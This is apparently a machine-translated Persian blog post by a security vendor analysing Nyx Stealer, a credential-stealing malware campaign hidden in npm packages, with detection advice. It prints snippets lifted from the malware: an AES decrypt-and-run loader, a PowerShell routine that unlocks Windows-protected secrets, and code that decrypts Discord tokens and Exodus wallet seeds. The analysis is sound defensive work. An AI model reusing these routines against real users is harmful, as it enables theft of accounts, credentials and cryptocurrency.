TL؛ DR
تیم تحقیقاتی امنیت Xygeni یک کمپین پیشرفتهی سرقت اطلاعات npm شناسایی شد که از طریق دو بستهی مخرب توزیع میشد: کنسوللوفی و خودباور-لوفی.
آخرین ویرایش (consolelofy@1.3.0) یک فایل رمزگذاری شده با استاندارد AES به حجم ۲۱۶ کیلوبایت را در خود جای داده است که در زمان اجرا رمزگشایی شده و از طریق ... اجرا میشود. vm.runInNewContext()از آنجا که منطق مخرب کاملاً رمزگذاری شده است، اسکنرهای استاتیک که به بازرسی رشتهای متکی هستند، نمیتوانند رفتار آن را تا زمان اجرا مشاهده کنند.
پس از رمزگشایی، محموله، به صورت داخلی نامگذاری میشود نیکس استیلر، اهداف:
- توکنهای احراز هویت دیسکورد
- بیش از ۵۰ فروشگاه اعتبارنامه مرورگر
- بیش از ۹۰ افزونه کیف پول ارز دیجیتال
- جلسات Roblox، Instagram، Spotify، Steam، Telegram و TikTok
- ماندگاری کلاینت دسکتاپ دیسکورد
هر 20 نسخه در هر دو بسته، مخرب گزارش و تأیید شدند.
بررسی فنی این ابزار سرقت اطلاعات npm
برخلاف بدافزارهای سنتی زمان نصب، این کمپین به ... متکی است. زمان اجرا مدل رمزگشایی.
وجود دارد:
- بدون بدخواهی
preinstallorpostinstallhooks - هیچ فراخوانی شبکهای در زمان نصب به طور واضح انجام نمیشود
- بدون منطق برداشت اعتبارنامه متنی ساده
این پیلود (payload) هنگام وارد شدن ماژول فعال میشود. کل بدنهی مخرب رمزگذاری شده و فقط در زمان اجرا در حافظه ظاهر میشود.
این طراحی به طور خاص از شناسایی در حین نصب بسته جلوگیری میکند.
نحوهی اجرای این بدافزار سرقت اطلاعات npm
قبل از تحلیل آنچه Nyx Stealer میدزدد، باید بفهمیم چگونه اجرا میشود.
منطق مخرب درون این ابزار سرقت اطلاعات npm از یک الگوی ثابت پیروی میکند:
یک لودر کوچک، یک payload رمزگذاری شده بزرگ را رمزگشایی کرده و آن را به صورت پویا در داخل یک بستر ماشین مجازی Node.js اجرا میکند.
این طراحی عمدی است. مهاجم صرفاً عملکرد را پشت مبهمسازی پنهان نمیکند، آنها حذف کامل کد مخرب از دید استاتیک.
مدل اجرایی سطح بالا
در سطح بالا، wrapper چهار کار انجام میدهد:
- با استفاده از SHA-256، یک کلید AES را از یک عبارت عبور کدگذاری شده استخراج میکند.
- یک متن رمز شده بزرگ با کدگذاری شش ضلعی را با استفاده از AES-256-CBC رمزگشایی میکند.
- جاوا اسکریپت رمزگشایی شده را با استفاده از اجرا میکند
vm.runInNewContext() - یک جعبه شنی فراهم میکند که همچنان اصول اولیه قدرتمند زمان اجرا را در معرض نمایش قرار میدهد.
خلاصه تکنیک اصلی
| جزء | پیکربندی / مقدار |
|---|---|
| الگوریتم | AES-256-CBC |
| مشتق کلید | SHA-256 (عبارت عبور) |
| بردار مقداردهی اولیه (IV) | ۱۶ بایت از نوع 0x00 |
| اعدام | vm.runInNewContext(رمزگشایی شده، جعبه شنی) |
از نظر بحرانی، سندباکس از موارد زیر عبور میکند:
requireprocessBuffer- تایمر
- خروجی ماژول
این یعنی فایل رمزگشاییشده قابلیت کامل موارد زیر را حفظ میکند:
- فرآیندهای تخم ریزی
- خواندن و نوشتن فایل ها
- برقراری تماسهای شبکهای
- اصلاح برنامههای محلی
این یک ماشین مجازی محدود شده نیست. این یک ماشین مجازی است که به عنوان ترامپولین اعدام استفاده میشود.
الگوی رمزگذاری زمان اجرا (مکانیسم اجرای اصلی)
لودر کوچک است.
بدن بدخواه اینطور نیست.
در زیر الگوی اجرایی موجود در بسته آمده است:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } چرا این مسائل
بار داده رمزگشایی شده:
- میکند نیستم به صورت متن ساده درون بسته npm وجود دارند
- برای افراد ساده نامرئی است
grepیا اسکن رشته ایستا - فقط در زمان اجرا در حافظه تحقق مییابد
- با قابلیتهای کامل زمان اجرای Node اجرا میشود
این ترکیب اجرای AES + VM یک شاخص رفتاری قوی از ... است. تلاش سارق اطلاعات npm برای فرار از بازرسی استاتیک.
به عبارت دیگر:
اگر درخت منبع بسته را اسکن کنید، هیچ دزدکی نمیبینید.
شما یک رمزگشا میبینید.
بعد از رمزگشایی چه اتفاقی میافتد؟
پس از اجرا، Nyx Stealer موجهای جمعآوری داده موازی را راهاندازی میکند.
موج اول: استخراج اعتبارنامه مرورگر
بدافزار:
- یک فایل زمان اجرای پایتون را از NuGet CDN دانلود میکند.
- کتابخانههای رمزنگاری را نصب میکند
- استخراج ذخایر اعتبارنامه مبتنی بر کرومیوم
- رمزگشایی اطلاعات محرمانهی محافظتشده توسط DPAPI
به جای کامپایل کردن اتصالات بومی، از PowerShell برای فراخوانی مستقیم DPAPI ویندوز استفاده میکند.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } این رویکرد:
- از مصنوعات کامپایل جلوگیری میکند
- از API های رمزنگاری بومی ویندوز استفاده میکند
- با ابزارهای مدیریتی ترکیب میشود
این یک رمزگشایی اعتبارنامه در سطح سیستم عامل است، نه خراشیدن.
موج دوم: رمزگشایی توکن دیسکورد
این دزد از پروتکل آگاه است و فرمت توکن رمزگذاری شدهی Discord را میفهمد.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } جریان عملیاتی:
- استخراج کلید اصلی از Discord
Local State - رمزگشایی کلید اصلی از طریق DPAPI
- رمزگشایی حبابهای توکن AES-GCM
- اعتبارسنجی توکنها در برابر API دیسکورد
- با نیترو، نشانها و اطلاعات صورتحساب، غنیسازی کنید
این یک سرقت اطلاعات کاربری عمومی نیست. این یک سرقت نشست مبتنی بر پروتکل است.
موج سوم: هدف قرار دادن کیف پول ارز دیجیتال
ابزار سرقت اطلاعات npm موارد زیر را فهرست میکند:
- بیش از ۹۰ افزونه کیف پول مرورگر
- ۲۷ کیف پول دسکتاپ
- مسیرهای کیف پول سرد
- فایلهای سید اکسودوس
مثالی از تلاش برای رمزگشایی سید:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } در صورت موفقیت، نفوذ به کیف پول فوری و غیرقابل برگشت است.
این نشان دهندهی بالاترین ارزش کسب درآمد از کمپین است.
ماندگاری از طریق تزریق به دسکتاپ Discord
پس از برداشت اعتبارنامهها، Nyx Stealer با تغییر آدرس محلی، تلاش میکند تا خود را حفظ کند. اختلاف مشتری می باشد.
هدف:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js توالی عملیاتی
سارق اطلاعات مراحل زیر را انجام میدهد:
- فرآیندهای در حال اجرای Discord را خاتمه میدهد
- انواع نصب شده Discord (Stable، Canary، PTB) را پیدا میکند
- رونویسیها
discord_desktop_core/index.js - منطق وبهوک تحت کنترل مهاجم را تزریق میکند
- دیسکورد را دوباره راهاندازی میکند
این تضمین میکند که جلسات آینده Discord به طور خودکار توکنهای احراز هویت جدید را فاش میکنند.
نکته مهم این است که این ماندگاری به وظایف زمانبندیشده یا تغییرات رجیستری متکی نیست. بلکه از تغییر کد در سطح برنامه، یک رویکرد مخفیانهتر، بهره میبرد.
حتی اگر بستهی مخرب npm بعداً حذف شود، کلاینت Discord همچنان در معرض خطر است.
مقایسه فنی: Selfbot قانونی در مقابل npm Infostealer
| جزء | کتابخانه قانونی | سارق اطلاعات Nyx npm |
|---|---|---|
| رمزگذاری | هیچ | بار داده رمزگذاری شده کامل با استاندارد AES |
| ماشین مجازی زمان اجرا | لازم نیست | vm.runInNewContext اعدام |
| دسترسی به اعتبار | فقط API دیسکورد | مرورگر، کیف پول، DPAPI |
| دانلودهای خارجی | نه | زمان اجرای پایتون از طریق NuGet |
| اصرار | نه | تزریق کلاینت دیسکورد |
| کسب درآمد | اتوماسیون ربات | فروش مجدد اعتبارنامه |
لایه رمزگذاری به تنهایی این کمپین را از یک انشعاب متنباز معمولی جدا میکند.
یک سلفبات قانونی Discord هیچ دلیلی برای رمزگذاری کل کدبیس خود، ایجاد PowerShell برای دسترسی به DPAPI، دانلود رانتایمهای خارجی یا تغییر داخلی برنامههای دسکتاپ ندارد. وقتی این قابلیتها در یک وابستگی ظاهر میشوند که ادعا میکند تعاملات Discord را خودکار میکند، نادیده گرفتن عدم تطابق معماری غیرممکن میشود.
از دیدگاه تحقیقاتی، این دزد اطلاعات npm ردپاهایی را در لایههای مختلف به جا میگذارد. با این حال، قابل اعتمادترین شاخصها، URLهای کدگذاری شده یا مسیرهای فایل خاص نیستند، زیرا این موارد میتوانند بین نسخهها تغییر کنند. در عوض، سیگنالهای پایدار، ساختاری هستند.
در سطح بسته، قویترین هشدار، ترکیبی از یک payload رمزگذاری شده بزرگ و یک بسته رمزگشایی زمان اجرا است که بلافاصله از طریق ... اجرا میشود. vm.runInNewContext()اگرچه رمزگذاری به تنهایی ذاتاً مخرب نیست، اما استفاده از رمزگشایی AES و به دنبال آن اجرای پویای ماشین مجازی درون یک بستهی ابزار Discord بسیار غیرعادی است.
در سطح میزبان، الگوهای مشکوک شامل فعالیت رمزگشایی غیرمنتظره DPAPI، تولید فرآیند از یک زمینه وابستگی Node.js و تغییر فایلهای برنامه محلی است که هرگز نباید توسط کتابخانههای شخص ثالث تغییر داده شوند. به همین ترتیب، در لایه شبکه، ارتباط خروجی به سبک webhook که توسط یک وابستگی توسعه آغاز میشود، ناهنجاری معنادار دیگری را نشان میدهد.
به عبارت دیگر، سطح تشخیص، تنها شاخص خطر نیست. بلکه همبستگی رمزگذاری، اجرای زمان اجرا، دسترسی به اعتبارنامه و رفتار پایدار است که تهدید را آشکار میکند.
تشخیص و کاهش خطر با Xygeni
این ابزار سرقت اطلاعات npm توسط ... شناسایی شد. هشدار زودهنگام بدافزار Xygeni (MEW) از طریق همبستگی رفتاری لایهای به جای تطبیق ساده امضا.
به جای جستجوی رشتههای مخرب شناختهشده، MEW ناهنجاریهای ساختاری را در کل درخت منبع ارزیابی میکند. در این مورد، تشخیص از همگرایی چندین سیگنال حاصل شد: یک روال رمزگشایی AES تعبیهشده در نقطه ورودی ماژول، اجرای فوری در داخل یک زمینه ماشین مجازی و عدم تطابق واضح بین قابلیت و قصد.
نکته مهم این است که هیچ یک از این سیگنالها به تنهایی نیت مخرب را اثبات نمیکنند. با این حال، هنگامی که با هم تجزیه و تحلیل میشوند، تلاشی برای پنهان کردن رفتار زمان اجرا را آشکار میکنند. این رویکرد لایهای ضمن شناسایی تهدیدات زنجیره تأمین با اطمینان بالا، به طور قابل توجهی موارد مثبت کاذب را کاهش میدهد.
علاوه بر این، این مورد نشان میدهد که چرا بازرسی زمان نصب به تنهایی کافی نیست. منطق مخرب در اسکریپتهای چرخه عمر قرار ندارد. این منطق تنها پس از بارگذاری ماژول فعال میشود و تنها پس از رمزگشایی در حافظه قابل مشاهده است. بنابراین، دفاع مؤثر مستلزم تجزیه و تحلیل آگاهانه از رمزگذاری، تشخیص الگوی رفتاری و نظارت مداوم بر وابستگیها فراتر از رویدادهای نصب است.
حذف رجیستری واکنشی است. تجزیه و تحلیل آگاه از زمان اجرا پیشگیرانه است.
چرا این دزد اطلاعات npm مهم است؟
Nyx Stealer نشاندهندهی یک تکامل ساختاری در بدافزارهای مبتنی بر npm است.
از نظر تاریخی، بسیاری از بستههای مخرب به اسکریپتهای زمان نصب قابل مشاهده یا نقاط پایانی آشکار برای استخراج اعتبارنامه متکی بودند. در مقابل، این کمپین، بار داده خود را رمزگذاری میکند، اجرا را به زمان اجرا موکول میکند، از APIهای قانونی سیستم عامل استفاده میکند و در برنامههای قابل اعتماد، پایداری ایجاد میکند.
در نتیجه، مهاجم نیازی به سوءاستفاده از خود زیرساخت npm ندارد. در عوض، حمله موفقیتآمیز است زیرا نصب وابستگیها به اعتماد نیاز دارد. توسعهدهندگان فرض میکنند که وارد کردن یک کتابخانه، بهویژه زمانی که خود را بهعنوان یک انشعاب محتمل از یک ابزار محبوب معرفی میکند، یک عملیات ایمن است.
با رشد اکوسیستمها و تکثیر فورکها، آن مرز اعتماد ضمنی به یک سطح حمله جذاب تبدیل میشود. بنابراین، دفاع در برابر سارقان اطلاعات npm مدرن، نیازمند شناخت الگوهای معماری است، نه جستجوی رشتههای ایستا.
در نهایت، این کمپین یک درس حیاتی را تقویت میکند: software supply chain securityخطرناکترین تهدیدها آنهایی نیستند که در نگاه اول مخرب به نظر میرسند، بلکه آنهایی هستند که از نظر ساختاری مشروع به نظر میرسند تا زمانی که رفتار واقعی آنها در زمان اجرا آشکار شود.




